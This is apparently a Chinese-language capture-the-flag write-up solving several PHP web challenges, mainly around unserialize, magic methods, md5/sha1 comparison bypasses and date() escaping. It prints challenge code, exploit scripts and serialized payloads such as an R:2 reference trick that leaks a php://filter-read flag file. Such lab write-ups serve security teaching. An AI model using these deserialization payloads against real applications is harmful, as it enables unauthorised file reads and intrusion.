题目:
<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
$content=date($this->file);
$uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}
unserialize(base64_decode($_GET['code']));
unserialize调用__wakeup()
if(is_array($this->a)||is_array($this->b))
#禁用了数组绕过
#这里直接让a=1,b='1',就可以绕过三个条件,这俩md5和sha1都是一样的
$content=date($this->file);
# $content接受经过被date函数格式化后的变量file
# date()的说明:
# 该方法会检测传入的字符串中是否有特定的格式化字符,如Y(年份)、m(月份)、d(天)、H(时)、i(分钟)、s(秒)等
# 检测存在则会将格式化字符替换为当前时间的对应部分,否则将字符进行原样输出,同时可用转义字符将格式化字符原样输出
$uuid=uniqid().'.txt';
# uniqid()生成一个时间戳,将生成的时间戳拼接.txt给$uuid
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
正则表达式会将上述空白字符和换行符都替换为空字符串。
file_put_contents($uuid,$content);
说明:
file_put_contents($uuid, $content);
是 PHP 中的一个函数调用,用于将一个字符串(内容)写入到一个文件中。这个函数简化了文件打开、写入和关闭的过程。这里是这个函数的基本解释和参数说明:
file_put_contents($filename, $data, $flags = 0, $context = null)
$filename
($uuid
在此例中):你希望写入内容的文件路径和名称。在这个例子中,$uuid
应该是一个包含唯一标识符(由uniqid()
生成)加上.txt
扩展名的字符串,用于创建或覆盖一个具有唯一名称的文件。$data
($content
在此例中):你要写入文件的数据,可以是任何字符串。$flags
:这是一个可选参数,用于指定如何写入数据,比如FILE_APPEND
可以用于在文件末尾追加内容而不是覆盖。默认是0
,表示覆盖模式写入。$context
:也是一个可选参数,通常用于提供特定的上下文选项,比如HTTP、FTP等上下文。在大多数情况下,这个参数不需要设置。所以,
file_put_contents($uuid, $content);
这行代码的作用是把变量$content
中存储的字符串数据写入到一个新创建的、以其UUID为名字(加上.txt
后缀)的文件中。如果文件已存在,它将被覆盖;如果要追加内容而不是覆盖,可以传递FILE_APPEND
作为第三个参数。
<?php
$c='/flag';
print(date($c));
?>
运行一下得到/fThursdaypm11
,date()
会把特定字符格式化为当前时间戳,比如这里,把l
换成了星期四Thursday
a
换成了pm g
换成了时间11
解决方法:转义字符\绕过: /f\l\a\g
get方式把base64编码后的序列化字符串用code传进去就拿到flag了
弱比较随便绕
<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$a = $_GET['b'];
$b = $_GET['a'];
if($a!=$b&&md5($a)==md5($b))
{
echo "!!!";
$c = $_POST['FL_AG'];
if(isset($c))
{
if (preg_match('/^.*(flag).*$/', $ja)) {
echo 'You are bad guy!!!';
}
else {
echo "Congratulation!!";
echo $hint1;
}
}
else {
echo "Please input my love FL_AG";
}
} else{
die("game over!");
}
?>
game over!
拿到下一关的目录L0vey0U.php
<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$FAKE_KEY = "Do you love CTF?";
$KEY = "YES I love";
$str = $_GET['str'];
echo $flag;
if (unserialize($str) === "$KEY")
{
echo "$hint2";
}
?>
flag{This_is_fake_flag}
把key序列化一下s:10:"YES I love";
,然后GET方式传进去拿到下一关的目录P0int.php
<?php
highlight_file(__FILE__);
error_reporting(0);
class Clazz
{
public $a;
public $b;
public function __wakeup()
{
$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
}
public function __destruct()
{
echo $this->b;
}
}
@unserialize($_POST['data']);
?>
这里有unserialize反序列化,要想反序列化就得先明白序列化。
在各类语言中,将对象的状态信息转换为可存储或可传输的过程就是序列化,序列化的逆过程就是便是反序列化,主要是为了方便对象传输。所以当我们把一段php代码序列化之后,通过GET or POST方法传进去,php引擎是可以通过unserialize函数读取的
PHP基本类型的序列化
bool: b:value =>b:0
int: i:value=>i:1
str: s:length:“value”;=>s:4"aaaa"
array :a:<length>:{key:value pairs};=>a:{i:1;s:1:“a”}
object:O:<class_name_length>:
NULL: N
序列化前
<?php
class test{
public $a=false;
public $b=3;
public $c='hello';
public $d=array(1,2,3,'hello');
public $e=NULL;
}
$test = new test;
echo serialize($test);
?>
序列化后
O:4:“test”:5:{s:1:“a”;b:0;s:1:“b”;i:3;s:1:“c”;s:5:“hello”;s:1:“d”;a:4:{i:0;i:1;i:1;i:2;i:2;i:3;i:3;s:5:“hello”;}s:1:“e”;N;}
当两个对象本来就是同一个对象时会出现的对象将会以小写r表示。
不过基础类型不受此条件限制,总是会被序列化
为什么?(看完“分析”以后再看这里)
<?php
$x = new stdClass;
$x->a = 1; $x->b = $x->a;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";i:1;s:1:"b";i:1;} // 基础类型
$y = new stdClass;
$x->a = $y; $x->b = $y;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";O:8:"stdClass":0:{}s:1:"b";r:2;}
// id(a) == id(b),二者都是$y;
$x->a = $x; $x->b = $x;
// O:8:"stdClass":2:{s:1:"a";r:1;s:1:"b";r:1;}
而当PHP中的一个对象如果是对另一对象显式的引用,那么在同时对它们进行序列化时将通过大写R表示
<?php
$x = new stdClass;
$x->a = 1;
$x->b = &$x->a;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";i:1;s:1:"b";R:2;}
这里用到了php魔术方法,简单概括就是当对某个对象进行某种操作(创建,销毁等)时,就会自动调用魔术方法
eg:例如题目中有一个类名为Clazz的class类,比如当我们unserialize了一个Clazz,在这之前会调用__wakeup,在这之后会调用 destruct
exp:
<?php
class Clazz
{
public $a;
public $b;
public function __wakeup()
{
$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
}
public function __destruct()
{
echo $this->b;
}
}
$a=new Clazz();
$a->b=&$a->a;
echo serialize($a);
?>
序列化后得到payload:O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}
R为2代表是第二个反序列化元素被引用
POST方法传进data就拿到了base64的flagPD8NCiRGTEFHPSAiRkxBR3t5MHVfYXJlX2wwdmUhISEhfSINCj8+DQo=
<?
$FLAG= "FLAG{y0u_are_l0ve!!!!}"
?>
<?php
class Clazz
{
public $a;
public $b;
}
$C=new Clazz();
$C->b=&$C->a;
echo serialize($C);
这样写exp也是可以的,在exp里我们只需要让b成为a的引用,让b和a的内存地址是一样的。
当我们把payload传进data之后,在@unserialize($_POST['data'])前会调用wakeup魔术方法,然后flag会传进a的内存地址,然后在序列化过程中将属性b设置为属性a的应用,然后就就会调用destruct魔术方法echo出b
这里的 @
前缀作用如下:
unserialize($_POST['data'])
在执行过程中遇到错误(如序列化数据格式不正确、类不存在、魔术方法引发的异常等),@
运算符会阻止这些错误信息被输出到浏览器或日志中。这对于攻击者来说可能是有利的,因为他们可以隐藏其攻击尝试的痕迹,避免被管理员或其他监控系统检测到。unserialize()
函数内部发生了错误,由于错误被抑制,程序不会立即停止执行。这使得攻击者有机会尝试多种不同的攻击载荷,而不必担心单次尝试失败导致整个请求中断。@
错误抑制符可能导致安全问题难以被及时发现和修复。由于错误信息被隐藏,管理员可能无法意识到系统存在潜在的反序列化攻击或其他安全漏洞。此外,攻击者也可能利用 @
运算符掩盖其利用反序列化漏洞执行恶意代码的过程。<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
解题思路:
这题目跟反序列化没关系,主要是考验对代码逻辑是否清晰,怎么调用的
只需要/?username=xxxxxx&password=xxxxxx